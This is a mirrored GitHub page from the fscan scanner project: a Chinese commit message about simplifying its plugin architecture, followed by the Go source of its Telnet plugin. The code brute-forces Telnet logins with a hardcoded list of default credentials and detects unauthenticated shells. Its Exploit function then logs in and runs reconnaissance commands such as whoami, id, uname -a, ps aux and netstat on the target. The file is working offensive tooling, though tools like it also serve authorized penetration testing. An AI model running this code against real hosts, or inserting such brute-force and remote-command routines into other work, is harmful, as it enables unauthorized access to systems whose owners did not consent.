mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构, 大幅减少代码重复和维护成本,提升插件开发效率。 主要改进: • 将每个服务插件从3个文件简化为1个文件 • 删除过度设计的工厂模式、适配器模式等抽象层 • 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构 • 实现直接的插件注册机制,提升系统简洁性 • 保持完全向后兼容,所有扫描功能和输出格式不变 重构统计: • 删除文件:100+个复杂架构文件 • 新增文件:20个简化的单文件插件 • 代码减少:每个插件减少60-80%代码量 • 功能增强:所有插件包含完整扫描和利用功能 已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle, Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP, Rsync, SMTP, SNMP, Telnet, VNC 验证通过: 新系统编译运行正常,所有插件功能验证通过
452 lines
11 KiB
Go
452 lines
11 KiB
Go
package plugins
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"net"
|
||
"strings"
|
||
"time"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/common/i18n"
|
||
)
|
||
|
||
// TelnetPlugin Telnet远程终端服务扫描和利用插件 - 包含命令执行利用功能
|
||
type TelnetPlugin struct {
|
||
name string
|
||
ports []int
|
||
}
|
||
|
||
// NewTelnetPlugin 创建Telnet插件
|
||
func NewTelnetPlugin() *TelnetPlugin {
|
||
return &TelnetPlugin{
|
||
name: "telnet",
|
||
ports: []int{23, 2323}, // Telnet端口
|
||
}
|
||
}
|
||
|
||
// GetName 实现Plugin接口
|
||
func (p *TelnetPlugin) GetName() string {
|
||
return p.name
|
||
}
|
||
|
||
// GetPorts 实现Plugin接口
|
||
func (p *TelnetPlugin) GetPorts() []int {
|
||
return p.ports
|
||
}
|
||
|
||
// Scan 执行Telnet扫描 - 弱密码检测和未授权访问检测
|
||
func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
// 如果禁用暴力破解,只做服务识别
|
||
if common.DisableBrute {
|
||
return p.identifyService(ctx, info)
|
||
}
|
||
|
||
// 首先测试无认证访问
|
||
if result := p.testUnauthAccess(ctx, info); result != nil && result.Success {
|
||
common.LogSuccess(i18n.GetText("telnet_unauth_success", target))
|
||
return result
|
||
}
|
||
|
||
// 生成测试凭据
|
||
credentials := GenerateCredentials("telnet")
|
||
if len(credentials) == 0 {
|
||
// Telnet默认凭据
|
||
credentials = []Credential{
|
||
{Username: "admin", Password: "admin"},
|
||
{Username: "root", Password: "root"},
|
||
{Username: "admin", Password: "password"},
|
||
{Username: "admin", Password: "123456"},
|
||
{Username: "user", Password: "user"},
|
||
{Username: "test", Password: "test"},
|
||
{Username: "guest", Password: "guest"},
|
||
{Username: "admin", Password: ""},
|
||
}
|
||
}
|
||
|
||
// 逐个测试凭据
|
||
for _, cred := range credentials {
|
||
// 检查Context是否被取消
|
||
select {
|
||
case <-ctx.Done():
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "telnet",
|
||
Error: ctx.Err(),
|
||
}
|
||
default:
|
||
}
|
||
|
||
// 测试凭据
|
||
if p.testCredential(ctx, info, cred) {
|
||
// Telnet认证成功
|
||
common.LogSuccess(i18n.GetText("telnet_scan_success", target, cred.Username, cred.Password))
|
||
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "telnet",
|
||
Username: cred.Username,
|
||
Password: cred.Password,
|
||
}
|
||
}
|
||
}
|
||
|
||
// 所有凭据都失败
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "telnet",
|
||
Error: fmt.Errorf("未发现弱密码或未授权访问"),
|
||
}
|
||
}
|
||
|
||
// Exploit 执行Telnet利用操作 - 实现命令执行功能
|
||
func (p *TelnetPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
common.LogSuccess(fmt.Sprintf("Telnet利用开始: %s", target))
|
||
|
||
var output strings.Builder
|
||
output.WriteString(fmt.Sprintf("=== Telnet利用结果 - %s ===\n", target))
|
||
output.WriteString(fmt.Sprintf("认证凭据: %s/%s\n", creds.Username, creds.Password))
|
||
|
||
// 建立Telnet连接
|
||
conn, err := p.connectTelnet(ctx, info, creds)
|
||
if err != nil {
|
||
output.WriteString(fmt.Sprintf("\n[连接失败] %v\n", err))
|
||
return &ExploitResult{
|
||
Success: false,
|
||
Output: output.String(),
|
||
Error: err,
|
||
}
|
||
}
|
||
defer conn.Close()
|
||
|
||
output.WriteString("\n[连接状态] ✅ 成功建立Telnet连接\n")
|
||
|
||
// 执行系统信息收集命令
|
||
commands := []string{
|
||
"whoami",
|
||
"pwd",
|
||
"uname -a",
|
||
"id",
|
||
"ps aux | head -10",
|
||
"netstat -an | head -10",
|
||
"ls -la /",
|
||
}
|
||
|
||
output.WriteString("\n[命令执行结果]\n")
|
||
for _, cmd := range commands {
|
||
result, err := p.executeCommand(conn, cmd)
|
||
if err != nil {
|
||
output.WriteString(fmt.Sprintf("❌ %s: 执行失败 (%v)\n", cmd, err))
|
||
continue
|
||
}
|
||
|
||
// 清理结果
|
||
result = p.cleanCommandOutput(result)
|
||
if result != "" {
|
||
output.WriteString(fmt.Sprintf("✅ %s:\n%s\n\n", cmd, result))
|
||
} else {
|
||
output.WriteString(fmt.Sprintf("⚠️ %s: 无输出\n", cmd))
|
||
}
|
||
}
|
||
|
||
common.LogSuccess(fmt.Sprintf("Telnet利用完成: %s", target))
|
||
|
||
return &ExploitResult{
|
||
Success: true,
|
||
Output: output.String(),
|
||
}
|
||
}
|
||
|
||
// testUnauthAccess 测试未授权访问
|
||
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||
if err != nil {
|
||
return nil
|
||
}
|
||
defer conn.Close()
|
||
|
||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||
|
||
// 读取欢迎信息
|
||
buffer := make([]byte, 1024)
|
||
n, err := conn.Read(buffer)
|
||
if err != nil {
|
||
return nil
|
||
}
|
||
|
||
welcome := string(buffer[:n])
|
||
|
||
// 检查是否直接进入shell(无需认证)
|
||
if strings.Contains(welcome, "$") || strings.Contains(welcome, "#") || strings.Contains(welcome, ">") {
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "telnet",
|
||
Banner: "未授权访问",
|
||
}
|
||
}
|
||
|
||
return nil
|
||
}
|
||
|
||
// testCredential 测试单个凭据
|
||
func (p *TelnetPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) bool {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
defer conn.Close()
|
||
|
||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||
|
||
// 读取欢迎信息
|
||
buffer := make([]byte, 1024)
|
||
n, err := conn.Read(buffer)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
|
||
data := string(buffer[:n])
|
||
|
||
// 处理Telnet协议字符
|
||
data = p.cleanTelnetData(data)
|
||
|
||
// 查找用户名提示
|
||
if strings.Contains(strings.ToLower(data), "login") || strings.Contains(strings.ToLower(data), "username") {
|
||
// 发送用户名
|
||
conn.Write([]byte(cred.Username + "\r\n"))
|
||
time.Sleep(500 * time.Millisecond)
|
||
|
||
// 读取密码提示
|
||
n, err = conn.Read(buffer)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
|
||
data = string(buffer[:n])
|
||
if strings.Contains(strings.ToLower(data), "password") {
|
||
// 发送密码
|
||
conn.Write([]byte(cred.Password + "\r\n"))
|
||
time.Sleep(1 * time.Second)
|
||
|
||
// 读取认证结果
|
||
n, err = conn.Read(buffer)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
|
||
result := string(buffer[:n])
|
||
result = p.cleanTelnetData(result)
|
||
|
||
// 检查是否认证成功
|
||
return p.isLoginSuccessful(result)
|
||
}
|
||
}
|
||
|
||
return false
|
||
}
|
||
|
||
// connectTelnet 建立认证后的Telnet连接
|
||
func (p *TelnetPlugin) connectTelnet(ctx context.Context, info *common.HostInfo, creds Credential) (net.Conn, error) {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||
|
||
// 读取欢迎信息
|
||
buffer := make([]byte, 1024)
|
||
n, err := conn.Read(buffer)
|
||
if err != nil {
|
||
conn.Close()
|
||
return nil, err
|
||
}
|
||
|
||
data := string(buffer[:n])
|
||
data = p.cleanTelnetData(data)
|
||
|
||
// 检查是否需要认证
|
||
if strings.Contains(strings.ToLower(data), "login") || strings.Contains(strings.ToLower(data), "username") {
|
||
// 发送用户名
|
||
conn.Write([]byte(creds.Username + "\r\n"))
|
||
time.Sleep(500 * time.Millisecond)
|
||
|
||
// 读取密码提示
|
||
n, err = conn.Read(buffer)
|
||
if err != nil {
|
||
conn.Close()
|
||
return nil, err
|
||
}
|
||
|
||
data = string(buffer[:n])
|
||
if strings.Contains(strings.ToLower(data), "password") {
|
||
// 发送密码
|
||
conn.Write([]byte(creds.Password + "\r\n"))
|
||
time.Sleep(1 * time.Second)
|
||
|
||
// 读取认证结果
|
||
n, err = conn.Read(buffer)
|
||
if err != nil {
|
||
conn.Close()
|
||
return nil, err
|
||
}
|
||
|
||
result := string(buffer[:n])
|
||
result = p.cleanTelnetData(result)
|
||
|
||
if !p.isLoginSuccessful(result) {
|
||
conn.Close()
|
||
return nil, fmt.Errorf("认证失败")
|
||
}
|
||
}
|
||
}
|
||
|
||
return conn, nil
|
||
}
|
||
|
||
// executeCommand 执行命令
|
||
func (p *TelnetPlugin) executeCommand(conn net.Conn, command string) (string, error) {
|
||
// 发送命令
|
||
_, err := conn.Write([]byte(command + "\r\n"))
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
time.Sleep(1 * time.Second)
|
||
|
||
// 读取结果
|
||
buffer := make([]byte, 4096)
|
||
n, err := conn.Read(buffer)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
return string(buffer[:n]), nil
|
||
}
|
||
|
||
// cleanTelnetData 清理Telnet协议数据
|
||
func (p *TelnetPlugin) cleanTelnetData(data string) string {
|
||
// 移除Telnet协议字符
|
||
cleaned := ""
|
||
for i := 0; i < len(data); i++ {
|
||
b := data[i]
|
||
// 跳过Telnet命令字符 (IAC = 255)
|
||
if b == 255 && i+2 < len(data) {
|
||
i += 2 // 跳过IAC及其参数
|
||
continue
|
||
}
|
||
// 保留可打印字符
|
||
if b >= 32 && b <= 126 || b == '\r' || b == '\n' {
|
||
cleaned += string(b)
|
||
}
|
||
}
|
||
return cleaned
|
||
}
|
||
|
||
// isLoginSuccessful 判断是否登录成功
|
||
func (p *TelnetPlugin) isLoginSuccessful(data string) bool {
|
||
data = strings.ToLower(data)
|
||
|
||
// 成功标志
|
||
successIndicators := []string{"$", "#", ">", "welcome", "last login"}
|
||
for _, indicator := range successIndicators {
|
||
if strings.Contains(data, indicator) {
|
||
return true
|
||
}
|
||
}
|
||
|
||
// 失败标志
|
||
failIndicators := []string{"incorrect", "failed", "denied", "invalid", "login:"}
|
||
for _, indicator := range failIndicators {
|
||
if strings.Contains(data, indicator) {
|
||
return false
|
||
}
|
||
}
|
||
|
||
return false
|
||
}
|
||
|
||
// cleanCommandOutput 清理命令输出
|
||
func (p *TelnetPlugin) cleanCommandOutput(output string) string {
|
||
lines := strings.Split(output, "\n")
|
||
var cleanLines []string
|
||
|
||
for _, line := range lines {
|
||
line = strings.TrimSpace(line)
|
||
// 跳过命令回显和提示符
|
||
if line != "" && !strings.HasSuffix(line, "$") && !strings.HasSuffix(line, "#") && !strings.HasSuffix(line, ">") {
|
||
cleanLines = append(cleanLines, line)
|
||
}
|
||
}
|
||
|
||
result := strings.Join(cleanLines, "\n")
|
||
if len(result) > 1000 {
|
||
result = result[:1000] + "... (输出截断)"
|
||
}
|
||
|
||
return result
|
||
}
|
||
|
||
// identifyService 服务识别 - 检测Telnet服务
|
||
func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||
if err != nil {
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "telnet",
|
||
Error: err,
|
||
}
|
||
}
|
||
defer conn.Close()
|
||
|
||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||
|
||
// 读取欢迎信息
|
||
buffer := make([]byte, 1024)
|
||
n, err := conn.Read(buffer)
|
||
if err != nil {
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "telnet",
|
||
Error: err,
|
||
}
|
||
}
|
||
|
||
data := string(buffer[:n])
|
||
data = p.cleanTelnetData(data)
|
||
|
||
var banner string
|
||
if strings.Contains(strings.ToLower(data), "login") || strings.Contains(strings.ToLower(data), "username") {
|
||
banner = "Telnet远程终端服务 (需要认证)"
|
||
} else if strings.Contains(data, "$") || strings.Contains(data, "#") || strings.Contains(data, ">") {
|
||
banner = "Telnet远程终端服务 (无认证)"
|
||
} else {
|
||
banner = "Telnet远程终端服务"
|
||
}
|
||
|
||
common.LogSuccess(i18n.GetText("telnet_service_identified", target, banner))
|
||
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "telnet",
|
||
Banner: banner,
|
||
}
|
||
}
|
||
|
||
// init 自动注册插件
|
||
func init() {
|
||
RegisterPlugin("telnet", func() Plugin {
|
||
return NewTelnetPlugin()
|
||
})
|
||
} |